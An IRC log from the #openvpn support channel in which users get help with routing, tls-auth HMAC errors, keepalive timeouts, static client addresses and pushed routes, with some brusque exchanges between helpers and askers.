09:47 < rob0> The specific point of the failure tells you what you should do about it.
09:47 < subnero> about ready to wipe it clean and start over as i can not figure out what is preventing it from working anymore
09:47 < rob0> That's the point of a flowchart.
09:47 < subnero> right i understand that
09:47 < subnero> and it says to add route to the router
09:48 < subnero> i have done this already
09:48 < pekster> Your VPN server isn't your default route for the server-side LAN?
09:48 < subnero> as i can ping from the server to the other pcs there must be a route present correct?
09:48 < pekster> Be sure to consider firewalls too, since you'd have a minimum of 4 involved (client, server, LAN gateway, and LAN client)
09:48 < subnero> yes vpn server is the same route
09:49 < cloneG> okay where do I need to place the .crt and .key files in windows client?
09:49 < subnero> turned all firealls off except the one maintained by the regions for the school
09:49 < subnero> just to test if it was firwall isse or not
09:51 < pekster> So you can ping the *lan* side IP of your VPN server, but not other LAN-side machines? If that's the case, either routing or firewalls is your problem
09:51 < pekster> A traceroute might help provide clues, and if you're still confused, start tracing packets (tcpdump or similar) to see what your failure point is on the LAN
09:52 < pekster> It's not magic: *something* is obviously dropping or not routing as you expect
09:52 < subnero> i can ping from the server to anything on the same subnet and i can ping from any computer on that subnet to the server. when i connect using my laptop from home i can ping from the server to my laptop and from my laptop to the server. what i can not ping is from my laptop to anything else on the subnet.
09:52 < pekster> cloneG: Anywhere you want. Traditionally you keep them in the same spot as the config file, or sometimes a subdirectory. Use of the --cd directive allows you to use relative pathnames, otherwise it's wise to fully qualify the names
09:53 < cloneG> okay i did that but I am not pretty sure openvpn is aware of it
09:53 < pekster> subnero: That's once again not what I asked. Please try to read carefully becuase I don't like explining everything twice to you. The flowchart asks you to ping the *LAN* side of the VPN server
09:54 < subnero> i can do that
09:54 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:54 < pekster> You should have already done that by following the flowchart. It was created to help people in your situation, so I'm perplexed as to why you don't seem to what to use it
09:54 < pekster> Common sense goes a long ways to helping fix your own issues
09:55 < subnero> pekster i have done all that
09:55 < subnero> common sense does go a long way
09:55 < subnero> myself and two other engeneers have worked on this for days now
09:55 < subnero> i need someone with enoug common sence to think outside the box
09:56 < subnero> if it was something normal then it would have already been fixed thank you very much
10:00 -!- Fusl [~Fusl@bnc.hallowe.lt] has joined #openvpn
10:01 < rob0> Oh, if three engineers can't fix it, why would a bunch of hobbyists on IRC do any better? :)
10:01 < Fusl> can someone help me?
10:01 < rob0> It sounds like the LAN hosts don't have a route to the VPN through the VPN server.
10:02 < Fusl> a windows client can not use opera when openvpn is connected but all other software works as expected
10:02 < EugeneKay> Opera is a piece of shit
10:02 < rob0> Fusl, check proxy settings in Opera.
10:03 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
10:03 < Fusl> rob0 well that was a good try but nope... proxy settings are set to manual and no data is entered in the fields
10:04 < kisom> Fusl: Then check wireshark and see what's going on.
10:04 < kisom> This is really a non-openvpn issue
10:07 -!- jthunder [~jthunder@75.152.118.239] has joined #openvpn
10:10 < Fusl> kisom, i can only see syn requests from opera to the webserver but no syn ack or something else
10:13 < Fusl> lol... openvpn killed my opera connection O.o ... without opera it also does not work...
10:15 -!- rhys [~rhys@unaffiliated/rhys] has joined #openvpn
10:15 < rhys> question: does the --fragment setting need to match on both client/server?
10:26 -!- cloneG [~ivan@172.Red-79-154-90.dynamicIP.rima-tde.net] has quit [Quit: Saliendo]
10:28 -!- jthunder_ [~jthunder@184.151.222.155] has joined #openvpn
10:31 -!- jthunder [~jthunder@75.152.118.239] has quit [Ping timeout: 264 seconds]
10:31 -!- jthunder_ is now known as jthunder
10:32 -!- Varazir [~mircwars@c-94-255-131-207.cust.bredband2.com] has joined #openvpn
10:35 -!- zampa [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has joined #openvpn
10:36 < zampa> hey i am trying to configure a router RT-N66U with merlin(similar to potato) firmware. but i don't seem to get the openvpn client to work correctly
10:36 < zampa> the client do start and everything appears fine. but it ends up giving me theese messages: TLS Error: cannot locate HMAC in incoming packet from [AF_INET]
10:38 < zampa> from what i have googled it seems to either be a firewall problem or something wrong with the (key? or cert?)
10:39 < EugeneKay> !hmac
10:39 <@vpnHelper> "hmac" is (#1) The tls-auth directive adds an additional HMAC signature to all SSL/TLS handshake packets for integrity verification. Any UDP packet not bearing the correct HMAC signature can be dropped without further processing. The tls-auth HMAC signature provides an additional level of security above and beyond that provided by SSL/TLS. or (#2) openvpn --genkey --secret ta.key to make the tls
10:39 <@vpnHelper> static key , in configs: tls-auth ta.key # , 1 for client or 0 for server in the configs
10:41 < zampa> hmm... so is that saying i should ignore it since i use udp as a protocol?
10:44 < Snuupy> EugeneKay: Brandano this is extremely weird.
10:44 < Snuupy> I left the OpenVPN window open, and it just kept trying to reconnect
10:44 < Snuupy> I came back 5-10 mins later, and I was magically connected.
10:44 < Snuupy> What the heck.
10:44 < zampa> if i turn of the HMAC authorization i cant even start the vpn client. So i guess that's not the way to go.
10:47 -!- Netsplit *.net <-> *.split quits: EugeneKay, Slippern, jzaw, pppingme, Sorcier_FXK, Sjors, @plaisthos, Fiouz, haasn, Champi,  (+8 more, use /NETSPLIT to show all of them)
10:47 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/session] has joined #openvpn
10:47 -!- Netsplit over, joins: Sorcier_FXK, pekster
10:48 -!- Netsplit over, joins: Cybertinus
10:49 -!- Netsplit over, joins: MikeH
10:49 -!- Netsplit over, joins: JackSparrow, pppingme
10:50 -!- Netsplit over, joins: haasn
10:50 -!- russoisraeli [~igor@malka.Princeton.EDU] has joined #openvpn
10:50 -!- Netsplit over, joins: jzaw
10:51 -!- Netsplit over, joins: Fiouz
10:51 < russoisraeli> hello guys. I have a quick question. I am using "ccd" to assign clients specific IP's, based on their common name. Is there a way to deny all clients with other/unknown common names?
10:52 -!- magoo_ [~mattw@209.114.46.149] has joined #openvpn
10:52 -!- MacGyver_ [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
10:52 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Quit: Leaving]
10:52 -!- Martin` [martin@shell.ipv6.octocore.net] has joined #openvpn
10:53 -!- hjohnson_ [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
10:53 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has quit [Write error: Broken pipe]
10:53 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Write error: Connection reset by peer]
10:53 -!- magoo [~mattw@209.114.46.149] has quit [Write error: Broken pipe]
10:53 -!- hjohnson_ is now known as hjohnson
10:55 <@dazo> russoisraeli: I believe you can create a file called DEFAULT ... and put 'disable' inside that file
10:56 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Excess Flood]
10:56 < russoisraeli> dazo - "DEFAULT" in the main config dir for openvpn?
10:56 < kisom> russoisraeli: Check --ccd-exclusive
10:56 < kisom> It does exactly what you want
10:56 <@dazo> russoisraeli: in the ccd directory
10:56 < russoisraeli> kisom, dazo - thank you guys. Will do
10:56 <@dazo> ahh! kisom had another trick up his sleeve I didn't think of :)
10:57 < kisom> OpenVPN puts food on my table, I know all the options ;)
10:57 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
10:57 -!- mode/#openvpn [+o plaisthos] by ChanServ
10:57 -!- Snuupy [~Snuupy@unaffiliated/snuupy] has joined #openvpn
10:57 -!- Champi [Champi@rootshell.fr] has joined #openvpn
10:58 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:01 -!- EugeneKay [eugene@rfc2324.net] has joined #openvpn
11:02 -!- raidz_away is now known as raidz
11:02 <@dazo> kisom: from a developers view point ... there's just too many options :-P
11:03 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has quit [Ping timeout: 248 seconds]
11:03 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has joined #openvpn
11:07 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has quit [Ping timeout: 252 seconds]
11:07 -!- jthunder [~jthunder@184.151.222.155] has quit [Quit: jthunder]
11:07 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
11:07 < zampa> perhaps i should know better than to get linked to the same information twice. but is there anything you might suggest to my question asked half an hour ago?
11:08 < Snuupy> why does it like
11:08 < Snuupy> randomly work
11:08 < zampa> didnt really get all that about hmac.
11:08 < Snuupy> http://pastie.org/private/j0clzm2x7eecanmhhmoba
11:08 < kisom> zampa: Which HMAC are you talking about? The "extended" --tls-auth version specifically used in OpenVPN or the HMAC used by TLS?
11:08 < Snuupy> why does it just suddenly work?
11:09 < zampa> extra HMAC authorization (that setting in openvpn)
11:09 < Snuupy> did openvpn change something? the wifi network? did the firewall just not feel like messing up the tls thing?
11:10 < zampa> when i have ti at say outgoing or bi-directional i get "TLS Error: cannot locate HMAC in incoming packet from [AF_INET]"
11:10 -!- jthunder [~jthunder@184.151.222.155] has joined #openvpn
11:10 < kisom> zampa: Did you consider turning it off? I've never used it.
11:11 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
11:11 < zampa> i did that way the vpn client wont start with theese messages: (pastebin incoming)
11:12 < kisom> Snuupy: All of a sudden my car works again. Why is that?
11:12 < kisom> Snuupy: Did the engine clean itself out?
11:13 < Snuupy> kisom: I don't know ._.
11:13 < Snuupy> what the actual
11:13 < Snuupy> WHY
11:13 < Snuupy> y it do dis
11:13 < zampa> http://pastebin.com/qt1i28Uq
11:13 < rob0> "Connection reset, restarting [-1]", something was causing the TCP reset. I'm sure we can't guess what that was.
11:14 < Snuupy> can't?
11:14 < Snuupy> but it's repeated
11:14 < Snuupy> every single time
11:15 < Brandano> Snuupy: what is the ip range on the client and on the network?
11:15 < Snuupy> I...don't know?
11:15 < Snuupy> I'm 10.8.0.6
11:15 < Brandano> I got into trouble with a windows machine that would not connect if it had been phisically connected to my network first
11:15 < kisom> zampa: You should ask your VPN provider for correct configurations, since it's a commercial service.
11:16 < Brandano> essentially it was holding on tot he wrong ip
11:19 < Snuupy> hmm
11:19 < Snuupy> I'm the only user on this server
11:19 < Snuupy> for OpenVPN
11:19 < Snuupy> I'm the only client, rather
11:20 < Brandano> no, I mean that the client still had the ip of the network that the vpn server was routing to... made a routing mess
11:20 < Brandano> connecting from a different subnet and a fresh boot worked just fine
11:20 < Brandano> anyway, time to go
11:21 -!- Brandano [~Brandano@pdpc/supporter/professional/brandano] has quit [Quit: time to go]
11:22 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Quit: Meet your opposition - Profane and disciplined - Take back your pride - With a pounding hammer]
11:26 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/session] has quit [Changing host]
11:26 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-bxdkwiajcfhinkou] has joined #openvpn
11:33 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
11:37 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
11:38 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
11:40 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
11:51 -!- dazo is now known as dazo_afk
12:08 -!- jthunder [~jthunder@184.151.222.155] has quit [Ping timeout: 240 seconds]
12:27 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has joined #openvpn
12:58 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
13:05 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit []
13:36 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
13:39 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Quit: Leaving]
13:43 -!- jthunder [~jthunder@75.152.118.239] has joined #openvpn
13:43 -!- subnero [~jonathan7@208-180-2-242.sta.suddenlink.net] has quit []
13:44 -!- Thermi_ [~Thermi@unaffiliated/thermi] has joined #openvpn
13:45 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
13:45 -!- jthunder_ [~jthunder@184.151.222.90] has joined #openvpn
13:46 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Ping timeout: 246 seconds]
13:46 -!- Thermi_ is now known as Thermi
13:49 -!- jthunder [~jthunder@75.152.118.239] has quit [Ping timeout: 268 seconds]
13:49 -!- jthunder_ is now known as jthunder
14:04 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has quit [Ping timeout: 240 seconds]
14:06 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:06 < vaillor> raidz, stop please
14:06 -!- rawtaz [~rawtaz@rho.hobbyhotellet.se] has joined #openvpn
14:09 -!- vaillor was kicked from #openvpn by raidz [vaillor]
14:10 -!- vaillor [~wefefr@adsl-ull-186-90.45-151.net24.it] has joined #openvpn
14:21 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds]
14:23 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
14:23 -!- mode/#openvpn [+o plaisthos] by ChanServ
14:34 -!- Denial [Denial@90.208.15.68] has quit []
14:39 -!- lirime is now known as liriel
14:39 -!- liriel is now known as lirime
14:39 -!- lirime is now known as liriel
14:48 <@plaisthos> !query
14:49 <@plaisthos> vaillor: please don't query poeple with vpn question just ask them in the channel thanks
14:50 < vaillor> ok, sorry, i would know if is there a solution for "Inactivity timeout (--ping-restart), restarting " problem
14:52 < pekster> The same one you've been given answers to several times over the last month? The information hasn't changed
14:53 < pekster> --ping-restarts occur, as you'll note by reading the manpage, when no pings arrive from the remote host in the define period
14:57 < vaillor> pekster, is there no way to disable ping at all? ping is useful to know if the other side host is still alive, but i don't care to know
14:59 < pekster> If you don't want it, don't use it
14:59 < pekster> Pretty simple
15:00 < vaillor> i'd like to get vpn connected but not pinging, also because pinging reduce my battery life
15:00 < vaillor> connected but in idle.
15:00 < vaillor> is so simple.
15:01 < pekster> Then don't use the options. You've just been told this
15:01 < vaillor> if i don't use ping--restart, connection disconnects and reconnects continuosly
15:01 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:01 < pekster> Naturally, it needs to be turned off on both ends
15:02 < pekster> It's a uni-directional request
15:02 < vaillor> after 10 minutes of connection i started from 10.8.0.6 and now i'm on 10.8.0.84
15:02 < pekster> I have no idea what any of that means
15:02 < vaillor> ok, and what is the directive to disable it?
15:03 < pekster> Are you really this dense? You *DO* *NOT* *USE* an option if you don't want it
15:03 < pekster> Declaring the option enables it. Not doing so doesn't. I have no clue why you have such a hard time figuring anything you're told out. This is why no one wants to help you, becuase you're effectively beyond help
15:03 < pekster> Figure it out or go waste someone else's time
15:07 < vaillor> I may sound stupid, but i'm not. there are 2 cases: if I use keepalive: my connection is ok, because pinging hosts avoids connection from timeout. if I do not use instead: the connection disconnects and reconnects all the time, I hope that now everything is clear.
15:07 < pekster> Then you screwed up
15:07 < pekster> You disable it on *both* ends, and it won't send the keepalive packets
15:07 <@plaisthos> mobile phone or networks?
15:07 < pekster> Maybe it's disconnecting for a different reason, but it won't be "--ping-timeout" if you're not using that option
15:07 < vaillor> plaisthos, both
15:08 < pekster> Keep in mind not sending keepalives will mess with stateful firewalls
15:08 <@plaisthos> mobile networks may require keepalives < 60s
15:08 < vaillor> ok, but the problem is also on my internal lan
15:08 < pekster> (Even stock Linux has a keepalive of 180s for "established" UDP sockets)
15:10 < pekster> If you're on a LAN and getting that, either your network sucks and is dropping packets, or they're otherwise not getting delivered. OpenVPN can't fix pre-existing broken
15:10 < vaillor> and is possible to tell the firewall: all the traffic incoming from x socket, never let it go to timeout and always forward it?
15:10 < pekster> No clue; I suggest you follow-up in a channel specific to your firewall
15:10 < pekster> !101
15:10 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
15:10 -!- mxmasster [~mxmasster@207.171.12.201] has joined #openvpn
15:10 < mxmasster> hello all
15:10 < vaillor> pekster, i bought another router
15:11 < vaillor> it's my second router, i spent money specifically for this problem, but i get the same problem
15:11 < mxmasster> I'm trying to configure OpenVPN (via PFSense) with an iOS client (OpenVPN Technologies)
15:12 < mxmasster> i have the certificates specified inline in the .ovpn file to the phone, how do I add the username/password in this file since the openvpn configuration is using ssl/tls+user auth for authentication?
15:12 < vaillor> i need to specify that openvpn server it's on a virtualbox debian guest server, could it influence to the problem or not?
15:13 < pekster> mxmasster: I've never used the iOS app, but there might be a setting for that in the options perhaps? Or you could try adding the --auth-user-pass option to the file you send to the phone (hoping it prompts you)
15:14 < pekster> vaillor: Sure, lots of things "could influence" the problem. Your issue, as you've been told around a dozen times now, is that packets don't arrive. Put on your thinking cap, run some packet captures, and figure out why, and what device is responsible
15:16 < mxmasster> pekster: that syntax is for the command line, do I just specify auth-user-pass in the ovpn file?
15:16 <@plaisthos> mxmasster: auth-user-pass
15:16 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has joined #openvpn
15:18 -!- emmanuelux [~emmanuelu@87.98.243.112] has joined #openvpn
15:18 < vaillor> ok, i'd like also to know why the dhcp ip assignation is quite strange: starts from 1.8.0.6 jump to 10.8.0.10 and 10.8.0.14, 10.8.0.18
15:18 < pekster> !/30
15:18 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
15:20 < vaillor> ok is, this also a directive to force dhcp server to assign a specific ip address to a specific client? for example, 10.8.0.10 to host A, even if it disconnects and reconnects
15:20 < pekster> !static
15:20 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
15:21 -!- master_o1_master [~master_of@p4FF243A0.dip0.t-ipconnect.de] has joined #openvpn
15:24 -!- master_of_master [~master_of@p4FF24A7F.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
15:30 -!- jthunder [~jthunder@184.151.222.90] has quit [Quit: jthunder]
15:34 -!- averagecase [~anon@dslb-088-078-250-039.pools.arcor-ip.net] has joined #openvpn
15:34 < rawtaz> vaillor: cant you just have something ping hte other end to keep the connection alive, but have the timeout turned off?
15:35 < pekster> rawtaz: Possibly, but the whole point of the excersize is to find out *why* it times out. Otherwise what's to say "those" poor-man's-keepalive traffic packets don't get lost
15:36 < pekster> And there's no way to signal a failure to the higher-level openvpn process without complex scripting
15:37 < rawtaz> pekster: i completely agree with the first sentence you wrote. im just trying to make him just fix the fooing problem to get over this.
15:37 < rawtaz> pekster: i didnt understand your second sentence though :o
15:37 < pekster> So, the entire point of using --ping-restart is that, if the tunnel *does* go down, it will notice and do a soft-restart to bring it back up
15:37 < vaillor> i use openvpn also under a 3g connection, and sending data will reduce both battery life and data packets(not influences), so, it should be nice to create a static forward that keeps openvpn connection open without sending ping
15:37 < pekster> Keeping stateful firewalls happy is more of a secondary benefit
15:38 < vaillor> i don't know if it could be done
15:38 < rawtaz> maybe --ping-restart with a huge timeout then, and an external ping often
15:38 < rawtaz> vaillor: the best approach is clearly to figure out why your network isnt letting you keep a tunnel open for 15 days if you so want to
15:39 < rawtaz> thats clearly the obvious way to solve this problem once and for all, and that would presumably be what you want to do.
15:39 < vaillor> but imagine you're in your own physical LAN at home, you don't need to ping all the hosts of your network
15:39 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
15:39 < pekster> Stateful firewalls require it
15:39 < pekster> I don't understand why this point is lost on you
15:40 < rawtaz> vaillor: i dont give a shit, it doesnt matter. as long as you are not getting to the bottom with the real cause of the problem, all you can do is some shitty lousy workaround, such as pinging your entire network until it gives up trying to mess with you. it's super stupid, but not more stupid than not solving the actual problem for real instad
15:40 < rawtaz> +e
15:40 < rawtaz> that said, my lame suggestion might not work at all, as pekster seems to say :)
15:40 < pekster> Depends on what the goal is
15:40 < pekster> And what is the real problem
15:41 < rawtaz> vaillor: so the tl;dr is: fix the underlying issues. it is not normal that the connection dies like this. and if you cant do it yourself, spend money on someone who can. get it solved!
15:41 < pekster> (for weeks of coming here and complaining about it, I don't think you've managed to do any of the actual troubleshooting suggestions I've had. I've no clue why you keep coming back if you refuse to do it)
15:41 < rawtaz> i think you have a point pekster
15:41 < rawtaz> though to be fair apparently he did get another ISP and bought a new router. that's always something i guess :o
15:42 < vaillor> pekster, i tried buying another router and changing ISP :)
15:42 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 268 seconds]
15:42 < pekster> No one suggested that. You mis-interpreted info a month or more ago to mean that
15:42  * pekster gives up. You have suggestions to figure out why it breaks. Use them
15:43 < vaillor> so, now i can say that it is not an ISP/router problem
15:43 < pekster> I wore a red hat and it rained. Then I worte a green hat and it rained. Therefore, it must rain when I'm not whereing a blue hat.
15:44 < vaillor> now i'm installing an host-only interface between VM host and guest, to try if in this way, the problem still continues
15:44 < pekster> This logic is clearly flawed; yours is in the same way
15:44 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 260 seconds]
15:44 < pekster> wearing*
15:46 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:47 -!- Snuupy [~Snuupy@unaffiliated/snuupy] has left #openvpn ["I'm not being mean, you're just insignificant."]
15:50 -!- mxmasster [~mxmasster@207.171.12.201] has quit [Quit: mxmasster]
15:55 < vaillor> pekster, the problem as you said, should be that stateful firewall timeouts connections before the default openvpn ping timeout, right?
15:57 < pekster> Maybe; why don't you figure out what the timeouts are and verify your keepalives are well under that limit to account for posible losses?
15:57 < pekster> This would be part of the "common sense" bit I referenced earlier
15:58 < vaillor> yes, this should be the causes, because using keepalive 10 120, the connection never disconnects
15:59 < vaillor> my issue was "why this happens also when i connect under the same lan"
16:01 -!- MacGyver_ is now known as MacGyver
16:02 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
16:02 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
16:04 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
16:07 < vaillor> ok, i get the same problem with host only interface
16:07 < pekster> With --keepalive 10 120?
16:07 < vaillor> without
16:07 < vaillor> with, works well
16:07 < vaillor> as i already said
16:07 < pekster> Well no shit. Learn how stateful firewalling works
16:08 < pekster> That's not OpenVPN's job to know how you, as the admin, have configured your firewalls
16:09 < vaillor> i know statefull, when an outgoing connection starts, firewall create a rules that saids: all the data incoming from the same ip which connection started, are related and forward them to the ip that started the connection
16:10 < pekster> So why might it be a problem if you reduce the frequency of keepalive packets with respect to the session timeout your firewall is using?
16:10 < vaillor> because it reduces of the 40% the life of iphone battery
16:10 < pekster> That was not the question
16:11 < pekster> Ignore your battery: I'm attempting (for a reason I don't know becuase you seem to ignore or not understand anything I tell you) to have you put together *why* you get disconnected with keepalive timeouts
16:12 < vaillor> i don't know why disconnects, i do not really know, it's an client-server direct connection emulated into virtual machine
16:12 < vaillor> so, there are no firewalls
16:13 < vaillor> so, i know why disconnects, the reason is ping timeout
16:13 < vaillor> but i don't know why it goes in ping timeout
16:13 < pekster> Packet's don't "disappear." Why on earth have you not watched a packet capture to see where they're getting lost?
16:13 < pekster> ...
16:13 -!- rhys [~rhys@unaffiliated/rhys] has left #openvpn ["Leaving"]
16:13 < vaillor> do i need to do it with tcpdump?
16:13 < pekster> It does that becuase it hasn't received the remote end's keepalive
16:13 < vaillor> i never done it
16:14 < vaillor> yes, thats i know
16:14 < vaillor> but the reason is "why they doesn't arrive to destination?"
16:16 < pekster> That's not a reason. That's a cause. The cause is for you to figure out
16:18 < pekster> If you can demonstrate you've at least tried to find information before you ask questions, you might get more help out of me. If you don't, at best I'll ignore you. At worst I'll kick of ban you for continued wasting of channel time. http://sweet.nodns4.us/ . I'll even give you the benefit of the doubt and suggest you read the tcpdump manpage and try google.
16:18 <@vpnHelper> Title: S.W.E.E.T.: Stop Wasting Everyone Else's Time (at sweet.nodns4.us)
16:18 -!- Protected [Join@bl8-192-164.dsl.telepac.pt] has joined #openvpn
16:19 -!- mikeploeger [~mikeploeg@cable-86-56-59-81.cust.telecolumbus.net] has joined #openvpn
16:20 < Protected> Hello there. I'm looking for information on how to exclude a subnet from the openvpn interface on windows, such that traffic sent to that subnet goes to the next interface by priority instead. I'm not sure if there are any specifics needed for answering this question; please let me know if there are.
16:20 < mikeploeger> Hello, I´ve read that openVPN only supports 2 concurrent connections, otherwise we have to buy a license (http://openvpn.net/index.php/access-server/pricing.html). Does openVPN really limit the concurrent connections or are there different versions of openVPN? (community edition etc.?) I dont get the point.
16:20 <@vpnHelper> Title: Pricing Guide (at openvpn.net)
16:21 < pekster> mikeploeger: The GPL product called "OpenVPN" is usable under the GPLv2 license and has no restrictions on uses. The commercial "Access-Server" product is not GPL licensed and must be used in accordance with its own access policy
16:21 < pekster> !download
16:21 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
16:21 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
16:22 < pekster> The "point" is that you can pay for a commercial package and support if it suits your needs. As long as you comply with the GPL license, you are free to use any many servers with as many users as you like
16:22 < pekster> Protected: "Exclude a subnet"?
16:22 < vaillor> i've been searchinf for information since genuary of this year, trust me, please. it's friday, i should go out and enjoy myself drinking with my friends, so, i'm still here trying to solve a fu**ing problem once and for all, because it's boring for me. i hope  you will understand me, anyway thank you for the support you have given me
16:23 < mikeploeger> pekster: Could I use the GPLv2 "OpenVPN" project and sell VPN Service commercially?
16:23 < pekster> Protected: Sounds to me like you want a firewall perhaps? Or perhaps pushing a more-specific route if you're using --redirect-gateway? Without more info I can't really figure out what your goal is
16:23 -!- mikeploeger is now known as Mike
16:23 < pekster> mikeploeger: Sure, many places do just that. Redistribution of the software to clients you're selling to must comply with the GPL, which requires that the source be made avialable to them
16:24 -!- Mike is now known as Mike___
16:24 < vaillor> I also refuse to believe that no one before me had the same problem and have depth for the cause
16:24 < Mike___> pekster: Thanks for your help! Have a nice evening.
16:25 < Protected> I'm a little new to this, though I can check my settings. The trouble is, traffic directly addressed to the subnet configured on my real (physical) network interface as the default gateway for it is correctly routed there, but there are other subnets in my LAN which I can't reach when openvpn is running, since windows is routing that traffic into the openvpn interface...
16:25 < pekster> Protected: But why is it routing that traffic? Are you pushing a route that collides with your LAN environment, or using --redirect-gateway?
16:26 < pekster> (solution: don't do that, or over-ride the LAN routes you need with a more specific route. See the --route directive and the variable net_gateway)
16:26 < pekster> Note that you can either push or use --route locally on the client
16:27 < Protected> Well, the idea is to send traffic by default through the vpn
16:27 < Protected> So I am assuming that conflicts with the possibility of talking to the local subnets since I haven't set any route for those
16:28 < Protected> (I'm looking up those things you mentioned now)
16:30 < Protected> pekster: So you're saying I could push this from the server to all the clients?
16:32 < Protected> Doesn't seem like I could
16:39 < pekster> Sure for instance, with --push "route 192.168.50.0 255.255.255.0 net_gateway"
16:39 < pekster> That would push that to any connecting client. The corresponding --route command could be used on the client to the same effect, without being pushed to all clients
16:41 < Protected> Oh, I see
16:41 < Protected> net_gateway sends to the other interface
16:41 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:41 < Protected> Let me try that
16:41 < pekster> Not exactly; it's a way to add a route using the pre-existing default gateway
16:41 < pekster> What interface that's on is no concern to openvpn
16:42 < pekster> (in your case it might mean the same thing, but there's a subtle difference)
16:42 < Protected> It should work as indended
16:42 < Protected> Yes
16:42 < Protected> *intended
16:43 < Protected> Worked perfectly!
16:43 < Protected> Thanks for the help
16:44 < Protected> openvpn is very impressive
16:46 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
16:56 < rawtaz> vaillor: there's more than just ip to keeping track of states in a firewall
16:56 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
16:57 -!- brianw [~androirc@user-118blcb.cable.mindspring.com] has joined #openvpn
16:57 < brianw> I can't use the same keys I use for my normal clients for android ones?
17:01 -!- novaflash is now known as novaflash_away
17:02 -!- pie_ [~pie_@unaffiliated/pie-/x-0787662] has joined #openvpn
17:02 < pie_> !freebsd
17:02 <@vpnHelper> "freebsd" is http://www.secure-computing.net/wiki/index.php/OpenVPN_Server
17:02 -!- novaflash_away is now known as novaflash
17:02 < brianw> ! Android
17:02 <@vpnHelper> "Android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
17:05 < Protected> I have another question, perhaps someone can point me towards the solution. I want to add a second client to my VPN; I figured this would simply be a matter of generating a new client key and certificate (with another name), creating a client file with those and the CA certificate and installing it on another computer. Is there anything else I must do? When the other client tries to connect
